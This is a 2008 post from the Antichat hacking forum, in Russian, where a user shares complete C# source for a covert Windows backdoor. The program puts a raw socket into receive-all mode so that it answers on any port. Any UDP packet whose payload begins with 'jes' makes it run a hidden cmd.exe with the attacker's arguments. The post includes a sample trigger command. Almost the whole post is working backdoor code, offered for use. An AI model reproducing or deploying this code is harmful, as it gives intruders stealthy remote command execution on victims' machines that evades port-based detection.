ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

jes raw shell32(bind) (непорелиз)
  #1  
Старый 30.01.2008, 20:59
Аватар для Jes
Jes
Постоянный
Регистрация: 16.04.2007
Сообщений: 398
Провел на форуме:
3371897

Репутация: 1462
По умолчанию jes raw shell32(bind) (непорелиз)

hehe , вчера прикольная идея появилась : что если заставить шелл слушать не конкретный порт , а нулевой , т е например все закрытые и открытые порты ...

вот , движимый интузиазмом , написал с утра непорелизик :
jesRaw.rar
C#, так что увы требует Framework ...

управляется на udp пакет в любой порт, (ключевое слов jes)
например:
Код:
jes /c mkdir C:\teeeeeest

ну и как-то настроение хорошее , так что вот исходный код :

program.cs
Код:
using System;
using System.Collections.Generic;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
// -------------------------------
// типа копирайт нах , jes
//---------------------------------

namespace jesRaw
{
    public enum Protocol
    {
        TCP = 6,
        UDP = 17,
        Unknown = -1
    };

    static class Program
    {
        /// <summary>
        /// The main entry point for the application.
        /// </summary>
        //[STAThread]

        static Socket mainSocket;                    
        static byte[] byteData = new byte[4096];
        static bool bContinueCapturing = false;   
        static string MyIP;

        static void Main()
        {
         
            MyIP = getLastIP();
            GoGoGo();

            Application.Run();
        }
        static string getLastIP()
        {
            // Функция GetInterfaceIP - выдает ip из самого 'верхнего' интерфейса
            //   ,(установленного) последним ...

            string strIP = null;
            IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));
            if (HosyEntry.AddressList.Length > 0)
            {
                foreach (IPAddress ip in HosyEntry.AddressList)
                {
                    strIP = ip.ToString();
                }
            }
            return strIP;
        }
        static void GoGoGo()
        {
            try
            {
                if (!bContinueCapturing)        
                {
                    //вдруг мы уже слушаем? ()
                    // вообще эт так ,  для отладки при написании 
                    bContinueCapturing = true;

                    mainSocket = new Socket(AddressFamily.InterNetwork,
                        SocketType.Raw, ProtocolType.IP);
                    
                    mainSocket.Bind(new IPEndPoint(IPAddress.Parse(MyIP), 0));

mainSocket.SetSocketOption(SocketOptionLevel.IP,
                                               SocketOptionName.HeaderIncluded,
                                               true);                         

                    byte[] byTrue = new byte[4] {1, 0, 0, 0};
                    byte[] byOut = new byte[4];

                 
                    mainSocket.IOControl(IOControlCode.ReceiveAll,   
                                         byTrue,                                    
                                         byOut);

                    mainSocket.BeginReceive(byteData, 0, byteData.Length, SocketFlags.None,
                        new AsyncCallback(OnReceive), null);
                }
                else
                {
                    bContinueCapturing = false;
                    
                    mainSocket.Close ();
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "jes Raw Sockets shell", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

        static void OnReceive(IAsyncResult ar)
        {
            try
            {
                int nReceived = mainSocket.EndReceive(ar);

                ParseData(byteData, nReceived);

                if (bContinueCapturing)
                {
                    byteData = new byte[4096];


                    mainSocket.BeginReceive(byteData, 0, byteData.Length, SocketFlags.None,
                        new AsyncCallback(OnReceive), null);
                }
            }
            catch (ObjectDisposedException)
            {
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "jes Raw Sockets shell", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
        static void ParseData(byte[] byteData, int nReceived)
        {
          
             IPHeader ipHeader = new IPHeader(byteData, nReceived);

            switch (ipHeader.ProtocolType)
            {
                case Protocol.UDP:

                    UDPHeader udpHeader = new UDPHeader(ipHeader.Data,(int)ipHeader.MessageLength);

           System.Text.Encoding enc = System.Text.Encoding.UTF8;
           string myString = enc.GetString(udpHeader.Data);
            if(ipHeader.DestinationAddress.ToString() ==  MyIP){
                if (myString.Substring(0, 3) == "jes")
                {
                    
                    System.Diagnostics.Process p = new System.Diagnostics.Process();
                    p.StartInfo.FileName = "cmd.exe";
                    p.StartInfo.CreateNoWindow = true;
                    p.StartInfo.Arguments = myString.Substring(4, myString.Length - 4);
                    p.Start();
                }
           }
                    break;

                case Protocol.Unknown:
                    break;
            }

        }

    }
}
урезанный класс ipHeader...
Код:
 public class IPHeader
    {
        private byte      byVersionAndHeaderLength;
        private byte      byDifferentiatedServices; 
        private ushort    usTotalLength;   
        private ushort    usIdentification;    
        private ushort    usFlagsAndOffset;     
        private byte      byTTL;                      
        private byte      byProtocol;           
        private short     sChecksum;           
        private uint      uiSourceIPAddress;      
        private uint      uiDestinationIPAddress; 
        private byte      byHeaderLength;
        private byte[]    byIPData = new byte[4096];


        public IPHeader(byte[] byBuffer, int nReceived)
        {
            
            try
            {
                MemoryStream memoryStream = new MemoryStream(byBuffer, 0, nReceived);
                BinaryReader binaryReader = new BinaryReader(memoryStream);
                byVersionAndHeaderLength = binaryReader.ReadByte();
                byDifferentiatedServices = binaryReader.ReadByte();
                usTotalLength = (ushort)IPAddress.NetworkToHostOrder(binaryReader.ReadInt16());

                usIdentification = (ushort)IPAddress.NetworkToHostOrder(binaryReader.ReadInt16());

                usFlagsAndOffset = (ushort)IPAddress.NetworkToHostOrder(binaryReader.ReadInt16());

                byTTL = binaryReader.ReadByte();

                byProtocol = binaryReader.ReadByte();

                sChecksum = IPAddress.NetworkToHostOrder(binaryReader.ReadInt16());

                uiSourceIPAddress = (uint)(binaryReader.ReadInt32());

                uiDestinationIPAddress = (uint)(binaryReader.ReadInt32());

                byHeaderLength = byVersionAndHeaderLength;
         
                byHeaderLength <<= 4;
                byHeaderLength >>= 4;
            
                byHeaderLength *= 4;

                Array.Copy(byBuffer, 
                           byHeaderLength,  //start copying from the end of the header
                           byIPData, 0, 
                           usTotalLength - byHeaderLength);

            }
        catch (Exception ex)
        {
            MessageBox.Show(ex.Message, "jesRaw", MessageBoxButtons.OK, 
               MessageBoxIcon.Error);
        }
        }
       
        public ushort MessageLength
        {
            get
            {
                return (ushort)(usTotalLength - byHeaderLength);
            }
        }
        public Protocol ProtocolType
        {
            get
            {
                if (byProtocol == 6)
                {
                    return Protocol.TCP;
                }
                else if (byProtocol == 17)
                {
                    return Protocol.UDP;
                }
                else
                {
                    return Protocol.Unknown;
                }
            }
        }
        public IPAddress DestinationAddress
        {
            get
            {
                return new IPAddress(uiDestinationIPAddress);
            }
        }
        public byte[] Data
        {
            get
            {
                return byIPData;
            }
        }
    }
урезанный UDPHeader :

Код:
 public class UDPHeader
    {
        private ushort usSourcePort;          
        private ushort usDestinationPort;    
        private ushort usLength; 
        private short sChecksum; 
        private byte[] byUDPData = new byte[4096]; 
        public UDPHeader(byte [] byBuffer, int nReceived)
        {
            MemoryStream memoryStream = new MemoryStream(byBuffer, 0, nReceived);
            BinaryReader binaryReader = new BinaryReader(memoryStream);

            usSourcePort = (ushort)IPAddress.NetworkToHostOrder(binaryReader.ReadInt16());

            usDestinationPort = (ushort)IPAddress.NetworkToHostOrder(binaryReader.ReadInt16());

            usLength = (ushort)IPAddress.NetworkToHostOrder(binaryReader.ReadInt16());

            sChecksum = IPAddress.NetworkToHostOrder(binaryReader.ReadInt16()); 
            Array.Copy(byBuffer, 
                       8,               //размер хидера - 8 байт , нам нужно после
                       byUDPData, 
                       0, 
                       nReceived - 8);

        }
        public byte[] Data
        {
            get
            {
                return byUDPData;
            }
        }
    }
13.08.08: jes: эх , когда это было ,ps: не слизанно , а взято за основу, суть в идее а не реализации ...

Последний раз редактировалось Jes; 13.08.2008 в 23:06..
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ